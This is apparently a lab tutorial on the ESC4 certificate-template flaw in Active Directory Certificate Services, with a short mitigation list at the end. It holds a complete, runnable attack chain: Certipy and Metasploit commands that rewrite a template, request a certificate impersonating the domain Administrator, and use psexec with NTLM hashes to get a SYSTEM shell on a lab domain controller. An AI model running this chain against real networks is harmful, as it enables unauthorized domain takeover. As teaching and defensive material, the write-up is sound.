ESC4 Active Directory Certificate Services Vulnerability is a high-risk vulnerability in Active Directory Certificate Services (ADCS) that enables attackers to exploit misconfigured certificate template permissions (e.g., Write, GenericAll, WriteDACL). This flaw serves as a critical entry point for a certificate attack. By modifying vulnerable templates, attackers can issue authentication certificates with Client or Server Authentication EKU, allowing them to impersonate privileged users or systems (e.g., Domain Admins, Domain Controllers) using Kerberos PKINIT.

This form of ESC4 attack can lead to full domain compromise. Effective ADCS certificate attack mitigation requires strict permission control and hardened certificate template configurations.

Table of Content

• Overview the ESC4 Attack
• ESC4 Attack Mechanism
• Server Authentication EKU Structure
• Prerequisites
• Lab Setup

Enumeration and exploitation

• ESC4 Attack Using Certipy

Post Exploitation

• Lateral Movement & Privilege Escalation using impacket-psexec
• ESC4 Attack Using Metasploit

Mitigation

Overview the ESC4 Attack

The ESC4 attack in ADCS arises due to misconfigured Access Control Entries (ACEs) on certificate templates. When these ACEs grant unintended or unprivileged Active Directory users the ability to modify the security settings of a certificate template, attackers can gain control over the template, enabling them to issue certificates with elevated privileges. This attack is particularly dangerous when attackers can leverage certificates with the Server Authentication EKU (Extended Key Usage) to impersonate trusted servers, such as Domain Controllers, and gain unauthorized access to sensitive resources.

The ESC4 attack becomes possible when the following conditions are met

• True – Low-privileged user has Write/Owner/Modify permissions on a certificate template (e.g., WriteOwner, WriteDacl, WriteProperty).
• True – Low-privileged user has Enroll or Autoenroll permission on the vulnerable template.
• True – The template allows specifying a custom Subject Alternative Name (SAN) (e.g., to spoof a Domain Controller FQDN).
• True – The template includes or can be modified to include Server Authentication EKU (3.6.1.5.5.7.3.1).

Note: This enables the certificate to be used for services like LDAPS, Kerberos PKINIT, or SMB.

• True – The CA does not require approval for certificate issuance (no manager or manual approval settings).
• True – Services like Kerberos (PKINIT), LDAPS, or SMB trust certificates with Server Authentication EKU.
• True – The attacker can request a certificate with arbitrary SAN entries, such as a Domain Controller’s name.

Note: ESC4 attacks can also succeed due to oversight—especially when there is no auditing or alerting in place for certificate template modifications or suspicious certificate requests.

ESC4 Attack Mechanism

The ESC4 attack begins with misconfigured certificate templates in ADCS, where attackers with Write or Full Control can issue Server Authentication EKU certificates. These trusted certificates let attackers impersonate critical servers like Domain Controllers, enabling privilege escalation, unauthorized access, and full domain compromise.

Attack Flow:

• Identify Vulnerable Templates: Attacker finds certificate templates with misconfigured permissions (e.g., Write, Full Control).
• Modify Template: Attacker adds Server Authentication EKU to enable certificate-based impersonation.
• Request Certificate: Using tools like Certipy-AD, attacker requests a certificate from the modified template.
• Inspect/reissue of certificate: Confirm the abuse path and generate an updated certificate if modified.
• Use Certificate: The attacker authenticates as a trusted server (e.g., Domain Controller) using the issued certificate.
• Compromise Domain: Attacker escalates privileges, gaining Domain Admin rights and full control over the domain.

Server Authentication EKU Structure

EKU (Extended Key Usage) is a field within an X.509 certificate that defines the intended usage of the certificate. Server Authentication EKU is used in certificates that are issued for the purpose of authenticating servers in a secure communication channel. It is typically used for SSL/TLS certificates and Kerberos authentication for services like Domain Controllers.

Server Authentication EKU Structure:

• OID (Object Identifier): 1.3.6.1.5.5.7.3.1: defines the certificate for server authentication (SSL/TLS or Kerberos).
• Subject Alternative Name (SAN): Contains DNS names or IPs, enabling server impersonation if modified.
• Key Usage: Specifies cryptographic functions, allowing the certificate for SSL/TLS or Kerberos authentication.
• EKU (Extended Key Usage): Defines the certificate’s usage, where attackers can add Server Authentication EKU to impersonate trusted servers.

Prerequisite

• Windows Server 2019 as Active Directory that supports PKINIT
• Domain must have Active Directory Certificate Services and Certificate Authority configured.
• Kali Linux packed with tools
• Tools: Impacket-psexec, certipy-ad, Metasploit

Lab setup

Starting by launching the Certificate Template Console:

Run certtmpl.msc on the Domain Controller, then navigate to Certificate Templates → Manage.

Duplicate the “Certificate Template” Template

• Scroll down and find the “Code Signing” template.
• Right-click it → Click Duplicate Template.

Configure the New Template

A new window will appear with multiple tabs, go through them one by one.

General Tab:

• Set the Template display name to: ESC4
• (Optional) Adjust the Validity Period — the default of 1 year is typically sufficient.

This name will show up when requesting the certificate

Configure the Subject Name Tab:

• Select: Build from this Active Directory information
• Select: Subject Name Format to None
• Check: User Principal name (UPN)

Note: Setting this to None uses the default Active Directory information for the subject name without any additional formatting or customization.

Configure the Security Tab

• Click Add → Type Domain Users → Click OK
• Select Domain Users
• Check →  Write

Configure the Extensions Tab

• Go to the Extensions tab
• Select Application Policies → Click Edit

Inside the Edit Window:

• Click Add and then Select Server Authentication

And Click OK

Confirm Issuance Requirements

Go back to the Certificate Authority (certsrv.msc) window. Right-click Certificate Templates → Click New → Certificate Template to Issue.

Find Vulnerable Template in the list and select it, in our case we created it as ESC4.

Click OK to publish it

Save the Template

• Click OK to save and close

We can see our template is now created!

Enumeration & Exploitation

ESC4 Attack Using Certipy

Use Certipy from the attacker machine to enumerate the ADCS configuration and identify vulnerable templates, specifying ‘raj’ as the user. The command to run is:

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

Open 20250402135640_Certipy.txt or .json and find a vulnerable template and CA with dangerous permissions for Domain Users. A vulnerable template, ESC4, was identified, with key risk indicators including write permissions assigned to Domain Users and the template being both enabled and accessible

The template can be modified or exploited through chaining attacks using Certipy-AD. We’ll take advantage of this by enabling specific flags that facilitate additional attack paths. Leveraging the permissions on ESC4, we will update the template to enable full exploitation.

This command applies a custom configuration to an existing AD CS certificate template using certipy-ad

certipy-ad template -u 'raj@ignite.local' -p Password@1 -template ESC4 -target 192.168.1.48 -save-old

This modified the ESC4 certificate template — likely to make it even more abusable, especially for ESC1 style abuse, not just ESC4.

Further details on ESC1 can be found here AD Certificate Exploitation: ESC1

Inspecting the vulnerable template using the command

certipy-ad find -u 'raj@ignite.local' -p Password@1 -dc-ip 192.168.1.48 -vulnerable -enabled

After reading the template, the following changes are evident:

• Client Authentication is set to True, enabling the certificate for logon/PKINIT, which is essential for Kerberos authentication abuse.
• The Enrollment Agent flag is also enabled, a dangerous setting that allows issuing certificates on behalf of others.
• Any Purpose flag is activated, permitting the certificate to be used for any Enhanced Key Usage (EKU).
• Enrollee Supplies Subject enabled, an attacker can specify their own UPN or username when requesting the certificate

These changes allow direct certificate requests for any domain user like classic ESC1 abuse.

Note: The most critical misconfiguration occurred when a user was granted write permissions over a certificate template. In the case of ESC4, this allows the user to modify the template to enable additional, easily exploitable features.

Why It’s So Powerful (Post-Modification)

We transformed the ESC4 template, which initially required an NTLM relay, into a more versatile vulnerability that allows direct abuse through various ADCS attack paths without the need for an NTLM relay

We now impersonate Administrator and request a certificate:

certipy-ad req -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.48  -ca ignite-DC-CA -target 'dc.ignite.local' -template 'ESC4' -upn 'administrator@ignite.local'

Certipy saves a .pfx file (administrator.pfx) with full impersonation credentials so lets authenticate as Administrator using the certificate

certipy-ad auth -pfx administrator.pfx  -dc-ip 192.168.1.48

Post Exploitation

Lateral Movement & Privilege Escalation using impacket-psexec

This grants a Kerberos TGT for the Administrator account. With the ticket active, we can execute commands as Administrator on the DC:

impacket-psexec ignite.local/administrator@ignite.local -hashes aad3b435b51404eeaad3b435b51404ee:64fbae31cc352fc26af97cbdef151e03

We successfully obtained a SYSTEM shell on the Domain Controller, full domain compromise confirmed.

ESC4 Attack using Metasploit

Identify Vulnerable Certificate Templates

Use Metasploit’s ldap_esc_vulnerable_cert_finder module to enumerate certificate templates susceptible to ESC vulnerabilities. Learn more about the module here

Note: This module queries the LDAP server to identify certificate templates vulnerable to various ESC attacks, including ESC1, ESC2, ESC3 and ESC4

use auxiliary/gather/ldap_esc_vulnerable_cert_finder
set DOMAIN ignite.local
set USERNAME raj
set PASSWORD Password@1
set RHOSTS 192.168.1.48
run

Modify the Vulnerable Template

When the ESC4 template is identified as vulnerable, use Certipy to modify its configuration

certipy-ad template -u 'raj@ignite.local' -p Password@1 -template ESC4 -target 192.168.1.48 -configuration ESC4.json

 This command applies the settings defined in Custom_Template_ESC4.json to the ESC4 template, potentially enabling flags like Client Authentication, Enrollment Agent, Any Purpose, and allowing the enrollee to supply the subject.

Request a Certificate for Administrator

With the modified template, request a certificate impersonating the Administrator account:

use auxiliary/admin/dcerpc/icpr_cert
set RHOSTS 192.168.1.48
set CA ignite-DC-CA
set CERT_TEMPLATE ESC4
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
set alt_upn administrator
run

This module exploits the misconfiguration to issue a certificate for a different User Principal Name (UPN), effectively allowing authentication as another user. Read more here

Inspect Modified Template

This is helpful to validate that the template is still misconfigured or document what is changed for this fire the Metasploit module auxiliary/admin/ldap/ad_cs_cert_template. Learn more about this module here.

use auxiliary/admin/ldap/ad_cs_cert_template
set RHOSTS 192.168.1.48
set USERNAME raj
set domain ignite.local
set PASSWORD Password@1
set CERT_TEMPLATE ESC4
set ACTION UPDATE
set VERBOSE true
run

This retrieves detailed information about the ESC4 certificate template, including EKUs (e.g., Client Authentication), Enrollment Agent flag, subject name settings, authorized enrollers, and validity/renewal period, just as we did above using Certipy.

Re-Issue Certificate

Run the icpr_cert module again to verify abuse path consistency:

use auxiliary/admin/dcerpc/icpr_cert
set RHOSTS 192.168.1.48
set CA ignite-DC-CA
set CERT_TEMPLATE ESC4
set SMBDomain ignite.local
set SMBPass Password@1
set SMBUser raj
set alt_upn administrator
run

Obtain a Kerberos Ticket

Use the obtained certificate to request a Kerberos Ticket Granting Ticket (TGT):

use admin/kerberos/get_ticket
set action GET_HASH
set CERT_FILE /root/.msf4/loot/20250402142649_default_192.168.1.48_windows.ad.cs_814382.pfx
set RHOSTS 192.168.1.48
set domain ignite.local
set username administrator
run

This module uses the certificate to authenticate and obtain a TGT for the Administrator account.

Confirm Access with PsExec

With the TGT, confirm domain administrator access by executing a command on the Domain Controller:

use exploit/windows/smb/psexec
set RHOSTS 192.168.1.48
set smbomain ignite.local
set username administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:32196b56ffe6f45e294117b91a83bf38
run

This uses the current Kerberos TGT to spawn a Meterpreter session as NT AUTHORITY\SYSTEM on the Domain Controller

Mitigation

• Limit enrollment to trusted groups (e.g., Domain Admins).
• Disable subject name supply; use AD info only.
• Restrict EKUs — remove unnecessary ones like Client Auth.
• Remove Enrollment Agent flag unless required.
• Audit template permissions (e.g., WriteDACL, WriteOwner).
• Monitor certificate requests for anomalies.
• Harden CA access — limit admin and network exposure.
• Review and clean up unused or misconfigured templates.

Author: MD Aslam is a dynamic Information Security leader committed to driving security excellence and mentoring teams to strengthen security across products, networks, and organizations. Contact here